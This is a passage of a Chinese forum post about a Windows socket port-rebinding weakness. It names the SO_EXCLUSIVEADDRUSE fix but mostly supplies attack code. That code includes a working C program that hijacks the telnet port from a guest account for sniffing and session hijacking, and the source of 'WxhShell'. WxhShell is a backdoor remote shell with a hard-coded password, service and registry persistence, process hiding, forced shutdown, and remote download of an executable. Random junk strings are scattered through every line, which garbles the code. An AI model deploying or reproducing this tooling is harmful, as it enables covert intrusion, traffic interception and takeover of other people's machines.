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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !6_lD 0  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >Lo 0,b$  
wT?.Mte  
  saddr.sin_family = AF_INET; uWw4l"RK`  
eto3dJ!R  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); %AbA(F  
[;M31b3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); xEBiBsk d  
td^2gjr^5  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  /1-  
xao'L  
  这意味着什么?意味着可以进行如下的攻击: 3nt&Sf  
S -j<O&h~C  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 SX)giQLU  
"oZ]/(  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) t59" [kQ  
/3D!,V,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 &.ZW1TxE8  
G5W6P7-<X  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  *<*{gO?Q4  
z)Xf6&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 O@[c*3]e  
& f7{3BK  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 BCV<( @c  
kR%bdN  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6zK8-V?9F  
zI/)#^SQ  
  #include !xoN%5 !  
  #include q;3,}emg  
  #include ? lC. Pq  
  #include    4fBgmL  
  DWORD WINAPI ClientThread(LPVOID lpParam);   [\CQ_qs|  
  int main() iMRb` \KH  
  { 7|3Qcn7P)@  
  WORD wVersionRequested; ^_b+o  
  DWORD ret; " 6 /`  
  WSADATA wsaData; vlCjh! x  
  BOOL val; J{' u  
  SOCKADDR_IN saddr; >B$ZKE  
  SOCKADDR_IN scaddr; Saa# Mj`M  
  int err; ]bO {001y,  
  SOCKET s; !!&H'XEJV  
  SOCKET sc; N#{d_v^H?d  
  int caddsize; S/-[OA>N  
  HANDLE mt; {\22C `9t  
  DWORD tid;   a9z|ef  
  wVersionRequested = MAKEWORD( 2, 2 ); :@w ;no>=*  
  err = WSAStartup( wVersionRequested, &wsaData ); "!<Kmh5  
  if ( err != 0 ) { G1M}g8 ]h  
  printf("error!WSAStartup failed!\n"); :P`sK&b_  
  return -1; v :]y#y  
  } _F xq  
  saddr.sin_family = AF_INET; y [e $  
   \{J gjd  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 dT8m$}h9  
xdp!'1n."g  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); qF=D,Dlz  
  saddr.sin_port = htons(23); yrO'15TB  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |Hg)!5EJ  
  { s]`&9{=E  
  printf("error!socket failed!\n"); W"4E0!r  
  return -1; *A2J[,?c  
  } ,(Fo%.j  
  val = TRUE; e8gJ }8Fj  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 QlI g'B6  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) r=4'6!  
  {  =IV_yor  
  printf("error!setsockopt failed!\n"); r<V]MwO=  
  return -1; 3;~1rw=$<  
  } DbJ:KQ!*  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &0SGAJlec  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 M_+&XLnzsJ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Lx,"jA/  
rxCEOG  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Tn2Z{.q$  
  { l_iucN  
  ret=GetLastError(); k(<5tvd  
  printf("error!bind failed!\n"); w{)*'8oCB  
  return -1; } IFZ$Y  
  } AuHOdiJ  
  listen(s,2); }$#e&&)n  
  while(1) nH}api^0A  
  { 5tHv'@  
  caddsize = sizeof(scaddr); pSkP8'  ?  
  //接受连接请求 "5%G [MB  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); LP_d}ve  
  if(sc!=INVALID_SOCKET) |xQG  
  { !1+L0,I6  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); l"RX`N@In  
  if(mt==NULL) *$/7;CLq  
  { l>h%J,W  
  printf("Thread Creat Failed!\n"); }Xyu" P  
  break; FMhwk"4L  
  } Jx1oK  
  } LdR}v%EH  
  CloseHandle(mt); &WN4/=QW-J  
  } R"e~0WO  
  closesocket(s); 'IP'g,o++  
  WSACleanup(); )52:@=h*l  
  return 0; n9gj{]%  
  }   cKh{ s  
  DWORD WINAPI ClientThread(LPVOID lpParam) pD##lkJr  
  { iHr{ VQ  
  SOCKET ss = (SOCKET)lpParam; QX ishHk&  
  SOCKET sc; ncb?iJ/b^  
  unsigned char buf[4096]; tvP_LNMF  
  SOCKADDR_IN saddr; pA='(G  
  long num; !tCw)cou  
  DWORD val; :N\*;>  
  DWORD ret; !jMa%;/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 h|yv*1/|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   6(sqS~D  
  saddr.sin_family = AF_INET; n%I%Kbw  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); PP/M-Jql)  
  saddr.sin_port = htons(23); Mr<2I  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V;L^q?v !  
  { _zI9 5  
  printf("error!socket failed!\n"); Me yQ`%  
  return -1; }+#-\a2  
  } 5,I'6$J  
  val = 100; rK)So#'  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a-4'jT:  
  { vvv~n ]S6  
  ret = GetLastError(); j;<Yje&Wz  
  return -1; 7]d396%  
  } apa~Is1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _Z.lr\  
  { M<r' j $g  
  ret = GetLastError(); 7_.z3K m:  
  return -1; ~1`.iA  
  } *;Dd:D9  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \2U^y4K.  
  { kCL)F\v"iT  
  printf("error!socket connect failed!\n"); JHwkLAuz  
  closesocket(sc); g[@Kd  
  closesocket(ss); L^KGY<hp4  
  return -1; O4$ra;UM`  
  } Z_}vjk~s  
  while(1) nj!)\U  
  { Zd1+ZH  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 X |.'_6l.  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 v$K`C;  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =<_xUh.  
  num = recv(ss,buf,4096,0); pNcNU[c  
  if(num>0) AT<gV/1l  
  send(sc,buf,num,0); >1`FR w<  
  else if(num==0) muQH!Q  
  break; s!~M,zsQN  
  num = recv(sc,buf,4096,0); 9.qIhg  
  if(num>0) e,={!P"f  
  send(ss,buf,num,0); bESmKe(  
  else if(num==0) -TU7GCb=  
  break; n <6}  
  } 0L $v7, 5  
  closesocket(ss); iJ~5A'?6  
  closesocket(sc); 6i( V+  
  return 0 ; b3wE8Co  
  } Mlb=,l  
a^'1o9  
ZD6rD (l9  
========================================================== df nmUE  
jj0@ez{3  
下边附上一个代码,,WXhSHELL hmtRs]7  
5@tpJ8E8$  
========================================================== nZfTK>)A0  
*DLv$/(0  
#include "stdafx.h" 7I/Sfmqy"O  
9r fR  
#include <stdio.h> V2ypmkn 8&  
#include <string.h> D7X-|`kH  
#include <windows.h> Y$--Hp4   
#include <winsock2.h> XLwbA4ORq  
#include <winsvc.h> yUq,9.6Ig  
#include <urlmon.h> RsIEY5Q  
lN,b@;  
#pragma comment (lib, "Ws2_32.lib") yv 9~  
#pragma comment (lib, "urlmon.lib") I.fV_ H^  
0Tp?ED_  
#define MAX_USER   100 // 最大客户端连接数 ~2 T_)l?  
#define BUF_SOCK   200 // sock buffer NS#qein~i  
#define KEY_BUFF   255 // 输入 buffer M/5/Tp  
iVd*62$@$  
#define REBOOT     0   // 重启 WVftLIJ  
#define SHUTDOWN   1   // 关机 82~UI'f \  
N;F1Z-9  
#define DEF_PORT   5000 // 监听端口 1T%Y:0  
.i"v([eQ  
#define REG_LEN     16   // 注册表键长度 i`gsT[JQRX  
#define SVC_LEN     80   // NT服务名长度 &s"&rFFO[  
z<+".sD'  
// 从dll定义API jHT4I>\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~{n_rKYV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *wwLhweQ5W  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;QR|v  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R# 8D}5[&  
N(dn"`8  
// wxhshell配置信息 }kT;UdIu;  
struct WSCFG {  s+[_5n~  
  int ws_port;         // 监听端口 x]euNa  
  char ws_passstr[REG_LEN]; // 口令 KA`1IW;  
  int ws_autoins;       // 安装标记, 1=yes 0=no }[!;c+ke  
  char ws_regname[REG_LEN]; // 注册表键名 29Kuq;6  
  char ws_svcname[REG_LEN]; // 服务名 394u']M  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z%`} `(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q+~z# jFX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $sU?VA'h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N Rcg~Nu  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E;$t|~ #  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3HO 4 h\mp  
-v&Q 'a  
}; +=$\7z>s  
BNyDEFd  
// default Wxhshell configuration (*/P~$xIj  
struct WSCFG wscfg={DEF_PORT, W$EX6jTGI  
    "xuhuanlingzhe", lDe9EJR  
    1, L FHyiIO  
    "Wxhshell", :B$=Pp1  
    "Wxhshell", [^"e~  
            "WxhShell Service", |QAmN> 7U  
    "Wrsky Windows CmdShell Service", 9=rYzA?)+  
    "Please Input Your Password: ", oFoG+H"&7\  
  1, (^qcX;-  
  "http://www.wrsky.com/wxhshell.exe", $B}(5D a  
  "Wxhshell.exe" sG}}a}U1  
    }; xE9^4-Px*  
iFF/[P  
// 消息定义模块  *X*D, VY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ) OZDq]mV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; klT6?'S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^P"t "  
char *msg_ws_ext="\n\rExit."; CS50wY  
char *msg_ws_end="\n\rQuit."; r;O{et't7y  
char *msg_ws_boot="\n\rReboot..."; ? @h  
char *msg_ws_poff="\n\rShutdown..."; Y91TF'  
char *msg_ws_down="\n\rSave to "; VY=~cVkzS  
7; T S  
char *msg_ws_err="\n\rErr!"; 8Ral%I:gr  
char *msg_ws_ok="\n\rOK!"; ;NRm ,  
A |NX"  
char ExeFile[MAX_PATH]; L nw+o}  
int nUser = 0; Z'S>i*Ts  
HANDLE handles[MAX_USER]; - CM;sXq  
int OsIsNt; }9Y='+.%^  
w V;y]'  
SERVICE_STATUS       serviceStatus; & Radpb2p6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; at7/KuY!~  
0<nKB}9  
// 函数声明 ~+l%}4RZ  
int Install(void); ut3jIZ1]  
int Uninstall(void); 0AR4/5.  
int DownloadFile(char *sURL, SOCKET wsh); lba*&j]w=  
int Boot(int flag); (>WV)  
void HideProc(void); ]Y;$~qQ  
int GetOsVer(void); <@F4{*  
int Wxhshell(SOCKET wsl); fQOaTsyA  
void TalkWithClient(void *cs); O~'1)k>  
int CmdShell(SOCKET sock); ,LcMNPr  
int StartFromService(void); cTRCQ+W6:  
int StartWxhshell(LPSTR lpCmdLine); KO{}+~,.6  
eHqf3f   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^,U&v;   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (O?z6g  
27u$VHwb  
// 数据结构和表定义 7-^df0  
SERVICE_TABLE_ENTRY DispatchTable[] = -z'@Mh|i6l  
{ I62Yg p$K  
{wscfg.ws_svcname, NTServiceMain}, uA}asm  
{NULL, NULL} p,kJ#I  
}; fF-V=Zf5  
;`F0 %0d  
// 自我安装 Rw$ @%o%  
int Install(void) azE>uEsE  
{ M~"]h:m&'v  
  char svExeFile[MAX_PATH]; <a$cB+t  
  HKEY key; *qz]vUb/0  
  strcpy(svExeFile,ExeFile); &1w,;45  
$1Xg[>1g5  
// 如果是win9x系统,修改注册表设为自启动 . `hlw'20  
if(!OsIsNt) { R^PQ`$W 'R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]'M4Unu#@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 55,vmDd  
  RegCloseKey(key); 9wtl|s%A %  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4~o\Os+8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m$@CwQj  
  RegCloseKey(key); !w C4ei`  
  return 0; `bH Eu"(,  
    } dF FB\|e;0  
  } 8|J%IE  
} &VQwuO  
else { :;7qup  
08.dV<P  
// 如果是NT以上系统,安装为系统服务 ):.]4n{L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W?6RUyMC$T  
if (schSCManager!=0) HX<5i>]0\u  
{ 9$)4C|  
  SC_HANDLE schService = CreateService pD &\Z~5T  
  ( -MOf[f^  
  schSCManager, yq&]>ox  
  wscfg.ws_svcname, $ Q2|{*  
  wscfg.ws_svcdisp, $(_i>&d<  
  SERVICE_ALL_ACCESS, /8GVu7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^l iyWl  
  SERVICE_AUTO_START, sS+9ly{9J  
  SERVICE_ERROR_NORMAL, j~L{=ojz%  
  svExeFile, 4~1_%wb  
  NULL, p\!+j@H:  
  NULL, 1;H(   
  NULL, 85H8`YwPh  
  NULL, zIm$S/Qe*  
  NULL <M 7WWtmx  
  ); wddF5EcK0  
  if (schService!=0) Bj\0RmVa1  
  { Q+ uYr-  
  CloseServiceHandle(schService); rZzto;NDS  
  CloseServiceHandle(schSCManager); GMiWS:`;v`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Nf3Kz#!B  
  strcat(svExeFile,wscfg.ws_svcname); rJg! 2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w#-rl@JQ4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $TR[SMj  
  RegCloseKey(key); tAaFIIvY  
  return 0; r5rK>  
    } $XaZqzeVI  
  } am@\$Sa4  
  CloseServiceHandle(schSCManager); l tQ:c  
} 9C`Fd S   
} {mI95g&  
<0Q`:'\.>  
return 1; F"9q Bl~  
} A$%%;O   
2MJ0[9  
// 自我卸载 C}W/9_I6Uo  
int Uninstall(void) Imi_}NB+  
{ j!jZJD  
  HKEY key; y"P$:l  
"iOT14J!7  
if(!OsIsNt) { Yuh t<:`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?p6+?\H  
  RegDeleteValue(key,wscfg.ws_regname); iF<VbQP=X^  
  RegCloseKey(key); m&o&XVC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >#xpg&2x  
  RegDeleteValue(key,wscfg.ws_regname); 9\|3Gm_  
  RegCloseKey(key); R]L 7?=  
  return 0; VNA VdP  
  } uVIs5IZzIi  
} L?0dZY-"  
} N}zQ)]xz+r  
else { Xc`'i@FX  
V#5BZU-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t0Ec` +)  
if (schSCManager!=0) {:'e H  
{ ?JtFiw  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); HR)joD*q;[  
  if (schService!=0) epz2d~;  
  { [4sbOl5yZ  
  if(DeleteService(schService)!=0) { u[ "Pg  
  CloseServiceHandle(schService); 6g( 2O[n.  
  CloseServiceHandle(schSCManager); 2&06Db(  
  return 0; [o\O^d  
  } [;#}BlbN  
  CloseServiceHandle(schService); Z2hRTJJ[A  
  } t$R|lv5<  
  CloseServiceHandle(schSCManager); Q4q3M=0  
} e9"<.:&  
} ;o"}7'4*R%  
0SA  c1  
return 1; +7d%)t  
} zziujs:  
n%W~+  
// 从指定url下载文件 @yS  
int DownloadFile(char *sURL, SOCKET wsh) rhwY5FD?  
{ (fb&5=Wzw  
  HRESULT hr; FZb\VUmnV  
char seps[]= "/"; IP/ zFbc  
char *token; V5%B ,.d:  
char *file; )^L+iht  
char myURL[MAX_PATH]; Z!7#"wO9+V  
char myFILE[MAX_PATH]; j`ggg]"&$  
+'JM:};1X8  
strcpy(myURL,sURL); 4LJUO5(y@  
  token=strtok(myURL,seps); W}.;]x%1B  
  while(token!=NULL) :C_\.pA  
  { ~z%K9YcyU  
    file=token; _`*x}  
  token=strtok(NULL,seps); \oLRNr[F  
  } oq(um:m  
fQ 'P2$  
GetCurrentDirectory(MAX_PATH,myFILE); vw>O;u.]B  
strcat(myFILE, "\\"); ,]42v?  
strcat(myFILE, file); fG2\p&z  
  send(wsh,myFILE,strlen(myFILE),0); j*rra  
send(wsh,"...",3,0); KP -g<Zc  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c7L#f=Ot?  
  if(hr==S_OK) TY5<hPU=  
return 0; v/}M _E  
else c+ Ejah+  
return 1; CKmoC0.  
#ZeZs31  
} a UAPh  
`GUj.+u  
// 系统电源模块 w91{''sK  
int Boot(int flag) ePP-&V"`"  
{ g\OPidY  
  HANDLE hToken; &d[&8V5S  
  TOKEN_PRIVILEGES tkp; =YE"6iU  
+^1H tI|y  
  if(OsIsNt) { ;.'2ZNt2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^mm:u<Yt  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `LEk/b1(P  
    tkp.PrivilegeCount = 1; 9<W0'6%{/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ijw'7d|,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sX^m1v~N|  
if(flag==REBOOT) { #Kyb9Qg  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Xv|~1v%s7  
  return 0; s>9w+|6Ji  
} ahU\(=  
else { bT@3fuL4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z6 E-FuO  
  return 0; X48Q{E+  
} iL\<G} I  
  } lGwX.cA!'  
  else { o;7!$v>uK  
if(flag==REBOOT) { >t.2!Z_RQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))   lCr  
  return 0; l Ztq_* Fl  
} X8~ cWW  
else { Z f4Xt Yn  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) N5Eb.a9S  
  return 0; ~N&j6wHg#  
} XsQ?&xK=u  
} 4(B{-cK  
Ratg!l|'-  
return 1; 3+;]dqZ  
} nzmv>s&UW  
`r & IA  
// win9x进程隐藏模块 M;ac U~J  
void HideProc(void) {e/Qs|a R  
{ m2AA:u_*j  
ExqI=k`Zs  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); CaX&T2(  
  if ( hKernel != NULL ) mWZoo/xtT  
  { E)|fKds  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); IKb 7#Ut  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); KGS=(z  
    FreeLibrary(hKernel); &EYO[~D06  
  } ~v$gk   
u*  G|TF  
return; nqg=I  
} 5 5>^H1M  
'9>z4G*Td  
// 获取操作系统版本 a]|P rjPI  
int GetOsVer(void) }@_F( B  
{ 6H\3  
  OSVERSIONINFO winfo; V)V\M6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =ltT6of@o  
  GetVersionEx(&winfo); \b?z\bC56  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b/5  
  return 1; OWT5Bjl  
  else @{\q1J>  
  return 0; hJ 4]GA'  
} by,"Orpwq;  
h1} x2  
// 客户端句柄模块 6;i]v|M-  
int Wxhshell(SOCKET wsl) 02q]^3  
{ f5<qF ]Y/  
  SOCKET wsh; f mILkXKz  
  struct sockaddr_in client; N1`/~Gi  
  DWORD myID; q|0Lu  
+K,]#$k  
  while(nUser<MAX_USER) _@wXh-nc  
{ ?NoG.  
  int nSize=sizeof(client); }D j W  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g+|1khS)  
  if(wsh==INVALID_SOCKET) return 1; 9ar+Ph@*  
nm2bBX,fh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |fkz=*rn  
if(handles[nUser]==0) $e1==@ R  
  closesocket(wsh); ohklLZoZ  
else |{udd~oE&  
  nUser++; NPF"_[RoeV  
  } AAUFX/}8P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J@ZIW%5  
u+"3l@Y#  
  return 0; qKag'0e  
} H`|8x4  
,\ [R\s  
// 关闭 socket #e:cB'f  
void CloseIt(SOCKET wsh) feSd%  
{ &g%9$*gmT  
closesocket(wsh); IGqg,OEAp  
nUser--; 2>3#/I9Y  
ExitThread(0); 6wK>SW)#&j  
} KPc`5X  
+QpgG4h  
// 客户端请求句柄 OOJg%y*H  
void TalkWithClient(void *cs) If[4]-dq  
{ MHNuA,cz  
&-M>@BMy  
  SOCKET wsh=(SOCKET)cs; Ud@D%?A7  
  char pwd[SVC_LEN]; \>,[5|GU  
  char cmd[KEY_BUFF]; /Ilve U`E  
char chr[1]; WrJgU&H{  
int i,j; OI:G~Wg  
5Us$.p  
  while (nUser < MAX_USER) { H&0dc.n~.  
5eS0 B{,c  
if(wscfg.ws_passstr) { !C ]5_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v;_m1UpuW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hc#Lni R3$  
  //ZeroMemory(pwd,KEY_BUFF); 3azyqpwU$  
      i=0; "QCtF55X&  
  while(i<SVC_LEN) { #yPQt!  
&!Sq6<!v2  
  // 设置超时 .T;:6/??1  
  fd_set FdRead; va6e]p*Oy  
  struct timeval TimeOut; b2rlj6d  
  FD_ZERO(&FdRead); B<^yT@Wc  
  FD_SET(wsh,&FdRead); S)`%clN}J  
  TimeOut.tv_sec=8; Y 1v9sMN,  
  TimeOut.tv_usec=0; ha Tmfh_|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ">zK1t5=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); wg-qq4Q\  
zoh%^8? o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ] {sx#|_S  
  pwd=chr[0]; 0<ze'FbV]  
  if(chr[0]==0xd || chr[0]==0xa) { .5?e)o)  
  pwd=0; G#uD CF,O  
  break; S=f:-?N|  
  } !]#@:Z  
  i++; ,$4f#)  
    } /2s=;tA1  
Z+8Q{|Ev  
  // 如果是非法用户,关闭 socket -q&K9ZCl `  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *P:!lO\|  
} ?ZF ~U  
 ,>C`|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :}B=Bk/q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P]A~:Lj  
@XJzM]*w&  
while(1) { 5I`_S Oa!  
6y0CEly>3#  
  ZeroMemory(cmd,KEY_BUFF); o&U'zaj  
UR{OrNg*  
      // 自动支持客户端 telnet标准   JK jVrx> @  
  j=0; `T#Jiq E  
  while(j<KEY_BUFF) { &eA!h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qpEK36Js  
  cmd[j]=chr[0]; @A.7`*i_  
  if(chr[0]==0xa || chr[0]==0xd) { H6.  
  cmd[j]=0;  9M]%h  
  break; p~A6:"8s`=  
  } vB?(|  
  j++; N{}o*K  
    } 6,raRg6  
n1Z*wMwC  
  // 下载文件 j9sLR  
  if(strstr(cmd,"http://")) { qx'F9I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \D5_g8m:  
  if(DownloadFile(cmd,wsh)) Ny" "lcy  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "KHe6otmi_  
  else SB) Hz8<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p|`[8uY?  
  } j e;^i,&  
  else { 1nZ7xCDK98  
 _(_U=  
    switch(cmd[0]) { .L=C7w1  
  6j6P&[  
  // 帮助 C"cBlru8B  
  case '?': { @-%.+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .a_xQ]eQ  
    break; ( L 8V)1N  
  } .t9*wz  
  // 安装 @|;XDO`k;  
  case 'i': { _08y; _S  
    if(Install()) }nt,DG!r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0ZJN<AzbA  
    else W*Gp0pX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +rOfQ'lQ  
    break; R-]i BL  
    } {SJnPr3R  
  // 卸载 dz"HO!9  
  case 'r': { s g6e% 5  
    if(Uninstall()) Dy|DQ>?}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p8X$yv  
    else Y{c+/n3d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3IYbgUG  
    break; W:y'a3~  
    } _>/OqYR_jQ  
  // 显示 wxhshell 所在路径 &?0hj@kd~  
  case 'p': { Q^ |aix~ K  
    char svExeFile[MAX_PATH]; Y6ORI  
    strcpy(svExeFile,"\n\r"); n1@ Or=5  
      strcat(svExeFile,ExeFile); Y^ ti;:  
        send(wsh,svExeFile,strlen(svExeFile),0); /e50&]2w  
    break; | X0Ys8f  
    } S+M:{<AR  
  // 重启 /GU%{nT  
  case 'b': { Ku<_N]9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fS- 31<?  
    if(Boot(REBOOT))  j.vBld  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yL%k5cO$N  
    else { m9li%p  
    closesocket(wsh); nyr)d%I{  
    ExitThread(0); * ~4m!U_s  
    } h| ]BA}D  
    break; 3I.0uLjg^  
    } :rX/I LAr  
  // 关机 &xjeZh4-  
  case 'd': { V[BlT|t  
